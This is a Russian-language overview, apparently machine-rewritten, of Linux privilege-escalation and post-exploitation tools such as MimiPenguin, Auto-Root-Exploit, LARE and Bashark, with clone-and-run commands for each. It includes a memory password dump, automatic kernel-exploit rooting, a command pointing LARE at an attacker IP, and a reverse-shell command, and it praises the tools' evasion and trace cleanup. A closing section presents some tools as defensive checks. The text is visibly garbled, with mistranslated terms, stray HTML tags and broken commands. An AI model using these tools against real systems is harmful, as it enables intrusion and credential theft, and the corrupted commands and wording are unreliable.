Cофт для привилегий в Linux
В этой статье представлен обзор и примеры использования наиболее известных и немаловажно рабочих утилит для использования привилегий Linux . Я расскажу, как манипулировать системой и стать рутом. Мы также поговорим про защиту и рассмотрим лучшие утилиты для проверки и защиты системы от техник постэксплуатации, которые могут быть полезны, как в защите Linux, так и в пентесте.
Повышение привилегий в Linux
Эскалация - повышение уязвимостей - это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или может выполнять несанкционированные действия в системе задач.
PXEnum
Основная задача данного скрипта - функция перечисления (англ. Перечисление). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Хорошо, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей , содержание директорий, все сведения о системе, наличие приложений-серверов, приложений, соединений, юзеров.
Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед установкой скачиваем инструмент с помощью Wget:
wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh
Установка PXEnum:
$ git clone https://github.com/shawnduong/PXEnum.git $ cd PXEnum / $ chmod + x PXEnum.sh $ bash PXEnum.sh
Другой вариант запуска PXEnum:
$ sh PXEnum.sh
MIDA Мультитул
Другой интересный инструмент - MIDA Multitool, созданный на базе менее популярных, собратьев SysEnum и RootHelper , но предлагающий больше возможностей.
По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:
- SysEnum - Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
- RootHelper - помощь в системе эскалации, которая была скомпрометирована, при помощи ряда перечислений и использования доверительных сценариев.
Установка MIDA Multitool в систему с GitHub:
$ git clone https://github.com/NullArray/Bash-Kit-Multitool $ cd Bash-Kit-Мультитул $ chmod + x bashkit.sh
Запускаем скрипта MIDA Multitool:
$ /.bashkit.sh

Вывод некоторой информации по системе:

МимиПингвин
Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin . Основная задача утилиты - сброс пароля на вход от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные / старые сеансы HTTP BASIC AUTH), Apache 2 (активные / старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с командой sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.
Установка MimiPenguin с репозитория GitHub:
$ git clone https://github.com/huntergregal/mimipenguin

Если у вас еще не установлен GitHub, то використовуйте эти команды:
$ apt install git // системы Debian / Ubuntu $ yum install git // системы RHEL / CentOS
Переходим в директорию MimiPenguin и запускаем скрипт:
$ cd mimipenguin $ ls –a $ chmod + x mimipenguin.sh $ ./mimipenguin.sh

Авто-рут-эксплойт
Сингловый скрипт , созданный для одной-единственной цели - получить root-права на текущую учетную запись, под которой он был запущен с помощью использования известных багов. Поддерживает версию ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства * BSD.
Установка Auto-Root-Exploit в систему:
$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit $ cd Auto-Root-Exploit $ chmod + x autoroot.sh
Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):
<span class = "pln"> $ uname </span> <span class = "pun"> - </span> <span class = "pln"> а </span>

Использование Auto-Root-Exploit:
$ bash autoroot.sh N для версии ядра 2.6 все Баш autoroot.sh 2 для версии ядра 3 все Баш autoroot.sh 3 для версии ядра 4 все bash autoroot.sh 4 for freebsd & openbsd all bash autoroot.sh bsd for apple macos all bash autoroot.sh app for kernel 2.6,3,4 bsd & app all bash autoroot.sh all


Создать карусель
LARE
И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.
Кстати, этот инструмент очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.
Устанавка LARE в систему:
$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE $ chmod +x LARA.sh
Пример локального запуска LARE:
$ LARE.sh -a
или
$ ./LARE.sh -a

Запуск скрипта на целевой машине в сети:
$ LARE.sh -l [Attackers-IP]

Запуск на машине с подключением к базе данных эксплоитов на GitHub:
$ LARE.sh -l or ./LARE.sh -l
Проверка и защита системы от техник постэксплуатации
Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные утилиты для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.
Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.
Bashark
Bashark — популярный скрипт, который помогает пентестерам и исследователям в области информационной безопасности тестить возможности управления системой после успешной эксплуатации.
Фирменные фичи и возможности, заявленные разработчиком:
- быстрый запуск, мгновенная реакция;
- мультиплатформенность: Unix, OS X, Solaris и другие;
- отсутствие зависимостей от версии ядра ОС или установленных пакетов;
- иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
- встроенные алиасы к популярным командам;
- расширение стандартной оболочки bash-командами для постэксплуатации;
- процедура заметания следов после завершения работы (Stealthy);
- расширяемость — возможность дописывать свои команды и юзать из терминала;
- поддержка табуляции при наборе команд.
Итак, качаем скрипт Bashark с помощью Git:
$ git clone https://github.com/TheSecondSun/Bashark.git

Переходим в соответствующую директорию и даем права на выполнение:
$ cd Bashark $ chmod +x bashark.sh
Запускаем Bashark:
$ ./bashark.sh

В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно использовать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.
Сканируем удаленную машину с помощью Bashark:
$ portscan <target’s IP>
Получаем конфиги:
$ getconf
Получаем файлы:
$ getprem
Получаем реверс-шелл:
$ revshell <target’s IP> <Port 31337>

Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если вы создавали файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.

LinEnum
Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.
Скрипт LinEnum успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные рассмотренные в статье инструменты повышения привилегий в Linux, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.
Установка LinEnum в систему:
$ git clone https://github.com/rebootuser/LinEnum $ cd LinEnum/
Простой запуск с вызовом списка ключей:
$ ./LinEnum.sh
Пример запуска LinEnum с опциями (ключами):
$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
Описание ключей LinEnum:
- -k — ввести ключевое слово
- -e — указать директорию для экспорта отчета
- -t — включить в отчет «длинные» тесты (дополнительные тесты)
- -s — произвести проверку эскалации текущей учетки sudo perms
- -r — задать имя итогового отчета
- -h — вызвать встроенную справку по программе
- -k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям
Запуск без опций означает ограниченное сканирование без файла вывода.


Создать карусель
LinuxPrivChecker
Еще один полезный в эскалации привилегий скрипт, написанный на Python. Этот инструмент предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.
Основные области проверки:
- основная информация о системе (ОС, ядро, имя системы и так далее);
- информация о сети (ifconfig, route, netstat и т. д.);
- разная информация о файловой системе (mount, fstab, cron jobs);
- информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
- права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
- файлы, содержащие незашифрованные пароли;
- интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
- все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
- все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).